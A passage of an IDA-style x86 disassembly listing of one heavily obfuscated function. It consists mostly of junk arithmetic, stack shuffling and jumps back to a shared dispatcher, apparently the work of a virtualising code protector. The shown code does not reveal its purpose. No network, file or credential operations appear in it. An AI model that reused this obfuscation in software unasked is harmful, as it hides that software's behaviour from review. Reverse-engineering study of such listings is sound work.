		jmp	loc_5B27E0
; ---------------------------------------------------------------------------


loc_5B314A:				; CODE XREF: sub_5A55E5+AAFFj
		sub	ebx, esi
		pop	esi
		add	ebp, ebx
		pop	ebx
		push	edi
		mov	edi, 21F56EA7h
		jmp	loc_5AF91F
; ---------------------------------------------------------------------------


loc_5B315B:				; CODE XREF: sub_5A55E5+C1F2j
		pop	ebp
		jmp	loc_5AAA83
; ---------------------------------------------------------------------------


loc_5B3161:				; CODE XREF: sub_5A55E5+DE13j
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		add	eax, 4
		xchg	eax, [esp+3Ch+var_3E+2]
		mov	esp, [esp+3Ch+var_3E+2]
		jmp	loc_5B0FD7
; ---------------------------------------------------------------------------


loc_5B3177:				; CODE XREF: sub_5A55E5+F03Cj
		push	edi
		mov	edi, 643C7B55h
		xor	edx, edi
		jmp	loc_5B8113
; ---------------------------------------------------------------------------


loc_5B3184:				; CODE XREF: sub_5A55E5+4F86j
		add	ecx, 256E75B0h
		mov	edx, ecx
		jmp	loc_5BC89E
; ---------------------------------------------------------------------------


loc_5B3191:				; CODE XREF: sub_5A55E5+EBA9j
		sub	ebp, 1D61Eh
		mov	ebx, ebp
		mov	ebp, [esp+5Ah+var_5C+2]
		add	esp, 4
		jmp	loc_5AECA4
; ---------------------------------------------------------------------------


loc_5B31A7:				; CODE XREF: sub_5A55E5+11406j
		or	eax, 3BE04E0h
		or	eax, 4AA16A35h
		sub	eax, 0F71068B2h
		sub	edi, eax
		jmp	loc_5B2334
; ---------------------------------------------------------------------------


loc_5B31BD:				; CODE XREF: sub_5A55E5+19114j
		pop	ecx
		sub	esp, 4
		mov	[esp+56h+var_58+2], ebp
		jmp	loc_5B656F
; ---------------------------------------------------------------------------


loc_5B31CC:				; CODE XREF: sub_5A55E5+16261j
		push	744C29B0h
		pop	eax
		or	ebx, eax
		jmp	loc_5B948A
; ---------------------------------------------------------------------------


loc_5B31D9:				; CODE XREF: sub_5A55E5+9C12j
		pop	[esp+24h+var_26+2]
		push	0B38h
		mov	[esp+24h+var_26+2], ebx
		mov	ebx, 4
		jmp	loc_5B6545
; ---------------------------------------------------------------------------


loc_5B31EE:				; CODE XREF: sub_5A55E5+16114j
		push	285F6A40h
		pop	edx
		dec	edx
		jmp	loc_5B03B4
; ---------------------------------------------------------------------------


loc_5B31FA:				; CODE XREF: sub_5A55E5+7572j
		xor	esi, [esp+2Eh+var_2E]
		mov	esp, [esp+2Eh+var_2E]
		rol	byte ptr [esp+2Eh+var_2E], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B3209:				; CODE XREF: sub_5A55E5+1545Ej
		dec	ebx
		add	ebx, 132FF84Bh
		push	ebx
		add	[esp+36h+var_36], 62C30210h
		pop	eax
		sub	eax, 62C30210h
		mov	ebx, [esp+32h+var_32]
		jmp	loc_5B455D
; ---------------------------------------------------------------------------


loc_5B3226:				; CODE XREF: sub_5A55E5+11021j
		mov	edx, 1996604Fh
		sub	ecx, 353D1225h
		add	ecx, edx
		add	ecx, 353D1225h
		pop	edx
		pop	esi
		sub	ecx, 19FB4780h
		add	ecx, eax
		add	ecx, 19FB4780h
		sub	ecx, 714C1187h
		jmp	loc_5B4C1D
; ---------------------------------------------------------------------------


loc_5B3254:				; CODE XREF: sub_5A55E5+DD71j
		mov	ebp, [esp+2Ah+var_2A]
		add	esp, 4
		jmp	loc_5B89A6
; ---------------------------------------------------------------------------


loc_5B3262:				; CODE XREF: sub_5A55E5+EE1Bj
		add	esi, ebp
		add	esi, 7A3938C2h
		jmp	loc_5AC962
; ---------------------------------------------------------------------------


loc_5B326F:				; CODE XREF: sub_5A55E5+6386j
		pop	[esp+2Ch+var_2E+2]
		mov	esp, [esp+28h+var_2A+2]
		push	esi
		mov	esi, 4602B6Fh
		push	eax
		push	esi
		mov	esi, 26E10550h
		neg	esi
		jmp	loc_5BB363
; ---------------------------------------------------------------------------


loc_5B3289:				; CODE XREF: sub_5A55E5+1473Dj
		mov	ebp, [esp+34h+var_36+2]
		add	esp, 4
		pop	[esp+30h+var_32+2]
		jmp	loc_5BC172
; ---------------------------------------------------------------------------


loc_5B3297:				; CODE XREF: sub_5A55E5+14474j
		pop	edi
		xor	ebx, [esp+28h+var_2A+2]
		xor	[esp+28h+var_2A+2], ebx
		jmp	loc_5ADE11
; ---------------------------------------------------------------------------


loc_5B32A3:				; CODE XREF: sub_5A55E5+11299j
		test	cx, ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B32AC:				; CODE XREF: sub_5A55E5+FA68j
		sub	bl, 4Dh
		sub	bl, dl
		sub	esp, 4
		mov	[esp+30h+var_32+2], edx
		jmp	loc_5B8F15
; ---------------------------------------------------------------------------


loc_5B32BF:				; CODE XREF: sub_5A55E5+11B4Dj
		push	0A5Fh
		jmp	loc_5B52E5
; ---------------------------------------------------------------------------


loc_5B32C9:				; CODE XREF: sub_5A55E5+503Ej
		pop	ebp
		jmp	loc_5AA36F
; ---------------------------------------------------------------------------


loc_5B32CF:				; CODE XREF: sub_5A55E5+196DBj
		add	ecx, edx
		push	edx
		mov	edx, 368A7CA8h
		dec	edx
		neg	edx
		add	edx, 0A355A602h
		add	ecx, 47890DB1h
		sub	ecx, edx
		sub	ecx, 47890DB1h
		pop	edx
		pop	edx
		jmp	loc_5B767F
; ---------------------------------------------------------------------------


loc_5B32F5:				; CODE XREF: sub_5A55E5+130A3j
		mov	ebx, 49F7382Ah
		jmp	loc_5BC069
; ---------------------------------------------------------------------------


loc_5B32FF:				; CODE XREF: sub_5A55E5+18687j
		push	edx
		mov	edx, 4
		add	[esp+4Ah+var_46], 792C68FCh
		add	[esp+4Ah+var_46], edx
		sub	[esp+4Ah+var_46], 792C68FCh
		pop	edx
		mov	edi, [esp+46h+var_46]
		push	edx
		jmp	loc_5AB84B
; ---------------------------------------------------------------------------


loc_5B3323:				; CODE XREF: sub_5A55E5+11FB8j
		add	esp, 4
		push	ecx
		mov	ecx, 3BAB190Ch
		inc	ecx
		xor	ecx, 4A781950h
		xor	ecx, 537A0E3Dh
		jmp	loc_5BE67C
; ---------------------------------------------------------------------------


loc_5B333E:				; DATA XREF: sub_5A55E5+4193o
		mov	cx, word ptr [esp+10h+var_10]
		push	ecx
		push	4101h
		push	esp
		pop	[esp+1Ch+var_1C]
		push	ebp
		mov	ebp, 4
		add	[esp+1Ch+var_18], ebp
		jmp	loc_5B3254
; ---------------------------------------------------------------------------


loc_5B335B:				; CODE XREF: sub_5A55E5+131ADj
		xor	edi, ecx
		pop	ecx
		add	ebx, edi
		pop	edi
		push	ebx
		push	[esp+18h+var_14]
		pop	ebx
		pop	[esp+18h+var_18]
		mov	esp, [esp+14h+var_14]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B3372:				; CODE XREF: sub_5A55E5+133B6j
		pop	ebx
		xor	edi, 44941840h
		and	edi, 7C435A5Dh
		add	edi, 0C7BCAFB2h
		add	ebp, edi
		push	[esp+10h+var_10]
		pop	edi
		jmp	loc_5BD3AE
; ---------------------------------------------------------------------------


loc_5B3390:				; CODE XREF: sub_5A55E5+702Fj
		pop	ebx
		dec	si
		not	si
		xchg	di, si
		not	di
		xchg	di, si
		add	si, 0AFh
		push	ebp
		push	si
		jmp	loc_5B34D7
; ---------------------------------------------------------------------------


loc_5B33AC:				; CODE XREF: sub_5A55E5+197D5j
		pop	edx
		pop	ax
		sub	al, bh
		mov	bx, word ptr [esp+8+var_8]
		add	esp, 2
		push	6A86h
		mov	[esp+8+var_8], ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_5AD8FE
; ---------------------------------------------------------------------------


loc_5B33C8:				; CODE XREF: sub_5A55E5+CE3Fj
		mov	edx, [esp+20h+var_22+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+24h+var_26+2]
		pop	esp
		sub	esp, 4
		mov	[esp+24h+var_26+2], ecx
		push	[esp+24h+var_22+2]
		push	[esp+28h+var_2A+2]
		pop	ecx
		sub	esp, 4
		mov	[esp+2Ch+var_2E+2], eax
		mov	eax, esp
		push	ebp
		jmp	loc_5B3161
; ---------------------------------------------------------------------------


loc_5B33FD:				; CODE XREF: sub_5A55E5+E78Bj
		pop	esi
		jmp	loc_5B78A5
; ---------------------------------------------------------------------------


loc_5B3403:				; CODE XREF: sub_5A55E5+EA0Ej
		push	esi
		push	edi
		push	edx
		mov	edx, 57D2162Ch
		mov	edi, edx
		pop	edx
		mov	esi, 0A82DE9D8h
		jmp	loc_5B3C9B
; ---------------------------------------------------------------------------


loc_5B3418:				; CODE XREF: sub_5A55E5+DF1Aj
		mov	ebp, [esp+34h+var_36+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+38h+var_3A+2]
		pop	esp
		mov	edi, 0BE59CBF4h
		add	edi, eax
		mov	eax, [esp+34h+var_36+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+38h+var_3A+2]
		pop	esp
		push	edi
		pop	ecx
		mov	edi, [esp+34h+var_36+2]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp+30h+var_32+2]
		add	esp, 4
		jmp	loc_5BD76C
; ---------------------------------------------------------------------------


loc_5B3466:				; CODE XREF: sub_5A55E5+A456j
		pop	edi
		jmp	loc_5A9D64
; ---------------------------------------------------------------------------


loc_5B346C:				; CODE XREF: sub_5A55E5+10AEBj
		add	esp, 4
		push	edx
		push	[esp+20h+var_1C]
		pop	edx
		pop	[esp+20h+var_22+2]
		mov	esp, [esp+1Ch+var_1C]
		mov	[esp+1Ch+var_1C], edi
		mov	edi, 7FBA1C3Ch
		add	ebx, edi
		mov	edi, [esp+1Ch+var_1C]
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B3496:				; CODE XREF: sub_5A55E5+13194j
		pop	esi
		neg	edi
		add	edi, 20041905h
		and	edi, 4BF61409h
		sub	edi, 0AA6BFA7Ch
		jmp	loc_5A9AF1
; ---------------------------------------------------------------------------


loc_5B34B0:				; CODE XREF: sub_5A55E5+186C5j
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		jmp	loc_5AC014
; ---------------------------------------------------------------------------


loc_5B34BD:				; CODE XREF: sub_5A55E5+7ACEj
		add	ecx, 19723462h
		pop	edi
		push	ebx
		mov	ebx, 3D06374Fh
		not	ebx
		sub	esp, 4
		mov	[esp+20h+var_22+2], ebx
		jmp	loc_5B0740
; ---------------------------------------------------------------------------


loc_5B34D7:				; CODE XREF: sub_5A55E5+DDC2j
		add	word ptr [esp+0Eh+var_10+2], 5556h
		mov	bp, word ptr [esp+0Eh+var_10+2]
		jmp	loc_5B4904
; ---------------------------------------------------------------------------


loc_5B34E6:				; CODE XREF: sub_5A55E5+CB51j
		mov	[esp+20h+var_22+2], edi
		push	[esp+20h+var_1C]
		pop	edi
		jmp	loc_5AA71E
; ---------------------------------------------------------------------------


loc_5B34F3:				; CODE XREF: sub_5A55E5+1399Aj
		push	edx
		jmp	loc_5AF615
; ---------------------------------------------------------------------------


loc_5B34F9:				; CODE XREF: sub_5A55E5+E4CAj
		pop	edx
		add	eax, 7D0E1F76h
		jmp	loc_5B3418
; ---------------------------------------------------------------------------


loc_5B3504:				; CODE XREF: sub_5A55E5+19B7Aj
		shr	ecx, 6
		jmp	loc_5BDA2E
; ---------------------------------------------------------------------------


loc_5B350C:				; CODE XREF: sub_5A55E5+136F4j
		pop	ebx
		add	[edi+24h], ebp
		push	[esp+1Ch+var_1C]
		push	[esp+20h+var_22+2]
		pop	ebp
		push	4624h
		jmp	loc_5AFBF7
; ---------------------------------------------------------------------------


loc_5B3521:				; CODE XREF: sub_5A55E5+FF7Cj
		push	esi
		mov	esi, 6C6E164Bh
		sub	esi, 4343C903h
		mov	ebp, esi
		pop	esi
		not	ebp
		and	ebp, 4F5B050Ch
		push	eax
		mov	eax, 7D2F3066h
		xor	ebp, eax
		pop	eax
		add	ebp, 61E67949h
		neg	ebp
		sub	ebp, 4DD50800h
		jmp	loc_5BEC70
; ---------------------------------------------------------------------------


loc_5B3554:				; CODE XREF: sub_5A55E5+120FEj
		push	12E2h
		mov	[esp+28h+var_2A+2], esi
		mov	esi, 3AA82F9Ch
		sub	[esp+28h+var_26+2], 41C07416h
		sub	[esp+28h+var_26+2], esi
		jmp	loc_5BD5CA
; ---------------------------------------------------------------------------


loc_5B3572:				; CODE XREF: sub_5A55E5+11229j
		push	eax
		mov	eax, 58142F32h
		jmp	loc_5B679F
; ---------------------------------------------------------------------------


loc_5B357D:				; CODE XREF: sub_5A55E5+11C32j
		add	al, dh
		jmp	loc_5AD0B8
; ---------------------------------------------------------------------------


loc_5B3584:				; CODE XREF: sub_5A55E5+1951Fj
		xchg	eax, ebp
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		push	ebp
		mov	ebp, 0EF7FBFA7h
		jmp	loc_5B2DA0
; ---------------------------------------------------------------------------


loc_5B3594:				; CODE XREF: sub_5A55E5+91A6j
		sub	ax, 2568h
		add	ax, cx
		jmp	loc_5B3F48
; ---------------------------------------------------------------------------


loc_5B35A0:				; CODE XREF: sub_5A55E5+17D6Fj
		sub	eax, edx
		sub	eax, 652F71EBh
		pop	edx
		pop	edx
		jmp	loc_5B4283
; ---------------------------------------------------------------------------


loc_5B35AE:				; CODE XREF: sub_5A55E5+9BBDj
		pop	esp
		mov	word ptr [esp+0Eh+var_10+2], cx
		movzx	cx, al
		jmp	loc_5ADDB2
; ---------------------------------------------------------------------------


loc_5B35BC:				; CODE XREF: sub_5A55E5+185F5j
		pop	esi
		jmp	loc_5B5DD2
; ---------------------------------------------------------------------------


loc_5B35C2:				; CODE XREF: sub_5A55E5+B463j
		push	ecx
		mov	ecx, 7C1A23C3h
		jmp	loc_5B739E
; ---------------------------------------------------------------------------


loc_5B35CD:				; CODE XREF: sub_5A55E5+19CA3j
		pop	ecx
		jmp	loc_5B957E
; ---------------------------------------------------------------------------


loc_5B35D3:				; CODE XREF: sub_5A55E5+15BB0j
		pop	ecx
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp+28h+var_2A+2]
		add	esp, 4
		or	eax, eax
		jz	loc_5B6F30
		push	edx
		jmp	loc_5AD71B
; ---------------------------------------------------------------------------


loc_5B35F3:				; CODE XREF: sub_5A55E5+11FC3j
		or	edi, ecx
		pop	ecx
		push	ebx
		mov	ebx, 5BF13CF4h
		not	ebx
		add	ebx, 142C1620h
		sub	ebx, 79C3257Eh
		add	ebx, 730430ADh
		sub	ebx, 8674DA6Dh
		and	edi, ebx
		pop	ebx
		jmp	loc_5B4823
; ---------------------------------------------------------------------------


loc_5B361E:				; CODE XREF: sub_5A55E5+10C57j
		xor	esi, edi
		pop	edi
		or	edi, esi
		pop	esi
		not	edi
		neg	edi
		jmp	loc_5B57F5
; ---------------------------------------------------------------------------


loc_5B362D:				; CODE XREF: sub_5A55E5+6E87j
		add	ecx, 0FFFFFFFFh
		and	ecx, 2E110808h
		push	ecx
		not	[esp+24h+var_26+2]
		pop	ecx
		sub	ecx, 0E3CDF1A6h
		add	ebx, ecx
		pop	ecx
		add	ebx, esi
		sub	ebx, 16210E51h
		pop	esi
		xchg	ebx, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		jmp	loc_5BDB46
; ---------------------------------------------------------------------------


loc_5B3658:				; CODE XREF: sub_5A55E5+E635j
		mov	edx, 29E1C81h
		dec	edx
		jmp	loc_5B6FF8
; ---------------------------------------------------------------------------


loc_5B3663:				; CODE XREF: sub_5A55E5+11510j
		shr	ecx, 2
		shr	ecx, 7
		or	ecx, 164707B0h
		xor	ecx, 1BFD76FDh
		jmp	loc_5AFF5C
; ---------------------------------------------------------------------------


loc_5B367A:				; CODE XREF: sub_5A55E5+11D12j
		mov	eax, edx
		pop	edx
		xor	eax, 19BF7670h
		dec	eax
		and	eax, 15F7A29h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+18h+var_18]
		pop	esp
		mov	[esp+14h+var_14], edx
		mov	edx, 2D640791h
		shr	edx, 7
		jmp	loc_5B9322
; ---------------------------------------------------------------------------


loc_5B36A8:				; CODE XREF: sub_5A55E5+FCEBj
		add	edi, 4
		xchg	edi, [esp+14h+var_14]
		jmp	loc_5AD521
; ---------------------------------------------------------------------------


loc_5B36B3:				; CODE XREF: sub_5A55E5+11366j
		mov	edx, 76030A8Ah
		not	edx
		inc	edx
		sub	esp, 4
		mov	[esp+18h+var_18], edi
		mov	edi, 47706361h
		xor	edx, edi
		jmp	loc_5AFD55
; ---------------------------------------------------------------------------


loc_5B36CD:				; CODE XREF: sub_5A55E5+129BFj
		pop	ebp
		jmp	loc_5BDB06
; ---------------------------------------------------------------------------


loc_5B36D3:				; CODE XREF: sub_5A55E5+E593j
		mov	esi, 2B4A3D40h
		sub	esi, 2C4F0782h
		or	esi, 71EC6231h
		shl	esi, 6
		and	esi, 39460C2Bh
		add	esi, 44566899h
		xor	eax, esi
		pop	esi
		jmp	loc_5B87F7
; ---------------------------------------------------------------------------


loc_5B36FB:				; CODE XREF: sub_5A55E5+19B2Bj
		xor	esi, 212EAEBBh
		sub	edi, esi
		jmp	loc_5AD411
; ---------------------------------------------------------------------------


loc_5B3708:				; CODE XREF: sub_5A55E5+17C6Ej
		sub	esp, 4
		jmp	loc_5AEB38
; ---------------------------------------------------------------------------


loc_5B3713:				; CODE XREF: sub_5A55E5+B0BBj
		add	al, dh
		jmp	loc_5AC50D
; ---------------------------------------------------------------------------


loc_5B371A:				; CODE XREF: sub_5A55E5+9C25j
		mov	[esp+28h+var_2A+2], ebp
		push	[esp+28h+var_26+2]
		pop	ebp
		pop	[esp+28h+var_2A+2]
		mov	esp, [esp+24h+var_26+2]
		sub	esp, 4
		mov	[esp+28h+var_2A+2], edi
		mov	edi, 3AA82F9Ch
		sub	[esp+28h+var_26+2], 2F521D8Fh
		sub	[esp+28h+var_26+2], 68F71E9Bh
		sub	[esp+28h+var_26+2], 14C07738h
		add	[esp+28h+var_26+2], edi
		add	[esp+28h+var_26+2], 14C07738h
		push	ecx
		jmp	loc_5AE43F
; ---------------------------------------------------------------------------


loc_5B3760:				; CODE XREF: sub_5A55E5+19228j
		push	edx
		jmp	loc_5BE06D
; ---------------------------------------------------------------------------


loc_5B3766:				; CODE XREF: sub_5A55E5+FFEDj
		add	esp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5BBC65
; ---------------------------------------------------------------------------


loc_5B3777:				; CODE XREF: sub_5A55E5+173ACj
		pop	eax
		mov	ebx, [esp+2Ch+var_2E+2]
		push	3D76h
		mov	[esp+30h+var_32+2], esi
		jmp	loc_5AD2BA
; ---------------------------------------------------------------------------


loc_5B3788:				; CODE XREF: sub_5A55E5+1688Bj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B378D:				; CODE XREF: sub_5A55E5+CD34j
		push	728445A7h
		pop	edi
		shl	edi, 2
		sub	edi, 26B49232h
		mov	ebx, edi
		jmp	loc_5B300A
; ---------------------------------------------------------------------------


loc_5B37A3:				; CODE XREF: sub_5A55E5+71A1j
		mov	edi, 13DF729Ah
		shl	edi, 7
		jmp	loc_5AA706
; ---------------------------------------------------------------------------


loc_5B37B0:				; CODE XREF: sub_5A55E5+16B2Aj
		push	ebp
		mov	ebp, esp
		jmp	loc_5B5F31
; ---------------------------------------------------------------------------


loc_5B37B8:				; CODE XREF: sub_5A55E5+7BDFj
		push	ebx
		jmp	loc_5B8376
; ---------------------------------------------------------------------------


loc_5B37BE:				; CODE XREF: sub_5A55E5+159E6j
		sub	ch, 0B9h
		add	ch, 78h
		add	bl, ch
		pop	ecx
		jmp	loc_5AB786
; ---------------------------------------------------------------------------


loc_5B37CC:				; CODE XREF: sub_5A55E5+9130j
		shr	ebp, 2
		jmp	loc_5AA1BA
; ---------------------------------------------------------------------------


loc_5B37D4:				; CODE XREF: sub_5A55E5+10C62j
		neg	esi
		push	edi
		mov	edi, 1C5F78F1h
		add	edi, 0C5827B68h
		xor	esi, edi
		pop	edi
		sub	eax, esi
		pop	esi
		jmp	loc_5BEB76
; ---------------------------------------------------------------------------


loc_5B37ED:				; CODE XREF: sub_5A55E5+C410j
		add	ebp, ecx
		pop	ecx
		mov	edx, ebp
		mov	ebp, [esp+18h+var_18]
		push	7F76h
		mov	[esp+1Ch+var_1C], esi
		mov	esi, esp
		push	edx
		mov	edx, 68467048h
		sub	edx, 6A0324B5h
		jmp	loc_5B2ACC
; ---------------------------------------------------------------------------


loc_5B3810:				; CODE XREF: sub_5A55E5+18614j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+20h+var_22+2]
		pop	esp
		jmp	loc_5AD1ED
; ---------------------------------------------------------------------------


loc_5B3824:				; CODE XREF: sub_5A55E5+128DDj
		add	al, 0E1h
		add	al, 0B4h
		jmp	loc_5B12C3
; ---------------------------------------------------------------------------


loc_5B382D:				; CODE XREF: sub_5A55E5+A81Ej
		mov	edi, 2FBE69D1h
		mov	ecx, edi
		mov	edi, [esp+66h+var_68+2]
		jmp	loc_5B5FEC
; ---------------------------------------------------------------------------


loc_5B383C:				; DATA XREF: sub_5A55E5+419Bo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp+0Eh+var_10+2], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B384C:				; CODE XREF: sub_5A55E5+195A3j
		push	edi
		push	esp
		jmp	loc_5AB8F5
; ---------------------------------------------------------------------------


loc_5B3853:				; CODE XREF: sub_5A55E5+11661j
		shr	ecx, 5
		jmp	loc_5B8679
; ---------------------------------------------------------------------------


loc_5B385B:				; CODE XREF: sub_5A55E5+16E70j
		push	eax
		mov	eax, 4
		mov	ecx, eax
		pop	eax
		jmp	loc_5B7481
; ---------------------------------------------------------------------------


loc_5B3869:				; CODE XREF: sub_5A55E5+44B0j
		sub	eax, 8D828DBh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5BC654
; ---------------------------------------------------------------------------


loc_5B387C:				; CODE XREF: sub_5A55E5+12DEBj
		mov	edx, 630B4DEDh
		shl	edx, 2
		or	edx, 65690A9Fh
		add	edx, 70982385h
		jmp	loc_5BE290
; ---------------------------------------------------------------------------


loc_5B3895:				; CODE XREF: sub_5A55E5+10F65j
		mov	edx, [esp+28h+var_2A+2]
		add	esp, 4
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B38A0:				; CODE XREF: sub_5A55E5+F82Aj
		push	edi
		push	[esp+28h+var_26+2]
		pop	edi
		pop	[esp+28h+var_2A+2]
		jmp	loc_5BED24
; ---------------------------------------------------------------------------


loc_5B38AE:				; CODE XREF: sub_5A55E5+17129j
		mov	esi, 629D216Eh
		jmp	loc_5AA19C
; ---------------------------------------------------------------------------


loc_5B38B8:				; CODE XREF: sub_5A55E5+19EDEj
		dec	ebp
		add	ebp, 0E3B5B3FDh
		mov	esi, ebp
		pop	ebp
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp+1Ch+var_1C]
		pop	esp
		add	eax, 391B3910h
		push	ebx
		jmp	loc_5BC36B
; ---------------------------------------------------------------------------


loc_5B38D4:				; CODE XREF: sub_5A55E5+17852j
		push	esi
		mov	esi, esp
		jmp	loc_5B8606
; ---------------------------------------------------------------------------


loc_5B38DC:				; CODE XREF: sub_5A55E5+CA5Ej
		push	ebx
		not	[esp+2Ah+var_2A]
		pop	ebx
		xor	ebx, 3FB4A23h
		sub	edx, 7026240Ch
		jmp	loc_5B2B0A
; ---------------------------------------------------------------------------


loc_5B38F2:				; CODE XREF: sub_5A55E5+14EF6j
		pop	esi
		push	edx
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp+26h+var_26]
		jmp	loc_5B67E4
; ---------------------------------------------------------------------------


loc_5B3903:				; DATA XREF: sub_5A55E5+4293o
		movzx	ax, byte ptr [edx]
		push	edi
		jmp	loc_5B7912
; ---------------------------------------------------------------------------


loc_5B390D:				; CODE XREF: sub_5A55E5+180BCj
		push	edx
		mov	edx, 3B442Bh
		add	ecx, edx
		pop	edx
		xor	ecx, 75AA2532h
		sub	ecx, 477959D9h
		jmp	loc_5BC57C
; ---------------------------------------------------------------------------


loc_5B3927:				; CODE XREF: sub_5A55E5+FF4Dj
		mov	esi, 605EB3C6h
		sub	edi, esi
		jmp	loc_5BE09D
; ---------------------------------------------------------------------------


loc_5B3933:				; CODE XREF: sub_5A55E5+11ED3j
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp+1Ch+var_18]
		pop	edi
		pop	[esp+1Ch+var_1C]
		pop	esp
		push	ecx
		mov	edi, [esp+18h+var_18]
		add	esp, 4
		push	[esp+14h+var_14]
		pop	ecx
		add	esp, 4
		add	ebx, edi
		mov	edi, [esp+10h+var_10]
		push	edx
		jmp	loc_5B7F2A
; ---------------------------------------------------------------------------


loc_5B3962:				; CODE XREF: sub_5A55E5+136ACj
		pop	eax
		jmp	loc_5AE90F
; ---------------------------------------------------------------------------


loc_5B3968:				; CODE XREF: sub_5A55E5+15567j
		pop	eax
		jmp	loc_5AF8E4
; ---------------------------------------------------------------------------


loc_5B396E:				; CODE XREF: sub_5A55E5+90EDj
		sub	esi, 4
		xchg	esi, [esp+44h+var_46+2]
		pop	esp
		mov	[esp+40h+var_42+2], eax
		mov	eax, 17C453D9h
		add	eax, 1E6F7186h
		jmp	loc_5B8EC0
; ---------------------------------------------------------------------------


loc_5B398A:				; CODE XREF: sub_5A55E5+105F7j
		push	ebp
		mov	ebp, 7BC1412Eh
		not	ebp
		or	ebp, 654A13F4h
		shr	ebp, 6
		jmp	loc_5A9DFE
; ---------------------------------------------------------------------------


loc_5B39A0:				; CODE XREF: sub_5A55E5+17F6Aj
		xor	ebp, eax
		pop	eax
		jmp	loc_5B8866
; ---------------------------------------------------------------------------


loc_5B39A8:				; CODE XREF: sub_5A55E5+1831Fj
		pop	ecx
		xor	edx, [esp+3Ch+var_3E+2]
		xor	[esp+3Ch+var_3E+2], edx
		xor	edx, [esp+3Ch+var_3E+2]
		mov	esp, [esp+3Ch+var_3E+2]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_5BE2D4
; ---------------------------------------------------------------------------


loc_5B39C1:				; CODE XREF: sub_5A55E5+5586j
		add	esi, edi
		pop	edi
		add	esi, eax
		jmp	loc_5BBE91
; ---------------------------------------------------------------------------


loc_5B39CB:				; CODE XREF: sub_5A55E5+B7ADj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B39D0:				; CODE XREF: sub_5A55E5+B837j
		dec	ecx
		jmp	loc_5BE812
; ---------------------------------------------------------------------------


loc_5B39D6:				; CODE XREF: sub_5A55E5+CD74j
		add	edx, 4
		jmp	loc_5B61EA
; ---------------------------------------------------------------------------


loc_5B39E1:				; CODE XREF: sub_5A55E5+10282j
		pop	esi
		jmp	loc_5AFA40
; ---------------------------------------------------------------------------


loc_5B39E7:				; CODE XREF: sub_5A55E5+1973Aj
		sub	ebx, 3AB85BD9h
		shr	ebx, 7
		inc	ebx
		add	ebx, 1
		add	ebx, 0FE30144Dh
		add	edx, ebx
		push	[esp+24h+var_26+2]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp+24h+var_26+2], edx
		push	[esp+24h+var_22+2]
		mov	edx, [esp+28h+var_2A+2]
		add	esp, 4
		pop	[esp+24h+var_26+2]
		mov	esp, [esp+20h+var_22+2]
		and	[esp+20h+var_22+2], eax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B3A25:				; CODE XREF: sub_5A55E5+182F6j
		add	esp, 4
		push	edi
		jmp	loc_5B0B8E
; ---------------------------------------------------------------------------


loc_5B3A31:				; DATA XREF: sub_5A55E5+420Fo
		mov	ax, word ptr [esp+10h+var_10]
		jmp	loc_5B0501
; ---------------------------------------------------------------------------


loc_5B3A3A:				; CODE XREF: sub_5A55E5+C303j
		and	ebp, eax
		pop	eax
		jmp	loc_5B043A
; ---------------------------------------------------------------------------


loc_5B3A42:				; CODE XREF: sub_5A55E5+105C0j
		pop	ecx
		jmp	loc_5B4998
; ---------------------------------------------------------------------------


loc_5B3A48:				; CODE XREF: sub_5A55E5+A77Ej
		add	edx, 0F7E7D3D6h
		add	edi, edx
		pop	edx
		jmp	loc_5B3CC0
; ---------------------------------------------------------------------------


loc_5B3A56:				; CODE XREF: sub_5A55E5+13901j
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], ebp
		mov	ebp, 4
		push	edx
		mov	edx, 25177A1Dh
		add	ecx, edx
		pop	edx
		add	ecx, ebp
		sub	ecx, 25177A1Dh
		pop	ebp
		sub	ecx, 4
		push	ecx
		jmp	loc_5BD627
; ---------------------------------------------------------------------------


loc_5B3A7F:				; CODE XREF: sub_5A55E5+19135j
		pop	ebx
		sub	al, 0F6h
		sub	al, 24h
		add	al, dl
		jmp	loc_5BE4D6	; DATA XREF: sub_5A55E5+F727o
; ---------------------------------------------------------------------------


loc_5B3A8B:				; CODE XREF: sub_5A55E5+1835Cj
		shl	eax, 7
		add	eax, 7DD03D39h
		push	edx
		mov	edx, 7D0E1F76h
		sub	eax, edx
		pop	edx
		push	esi
		mov	esi, 0D415639h
		add	eax, esi
		pop	esi
		add	eax, ebp
		push	edx
		mov	edx, 0D415639h
		sub	eax, edx
		jmp	loc_5B34F9
; ---------------------------------------------------------------------------


loc_5B3AB4:				; CODE XREF: sub_5A55E5+8CEAj
		or	eax, 4FD14E6h
		neg	eax
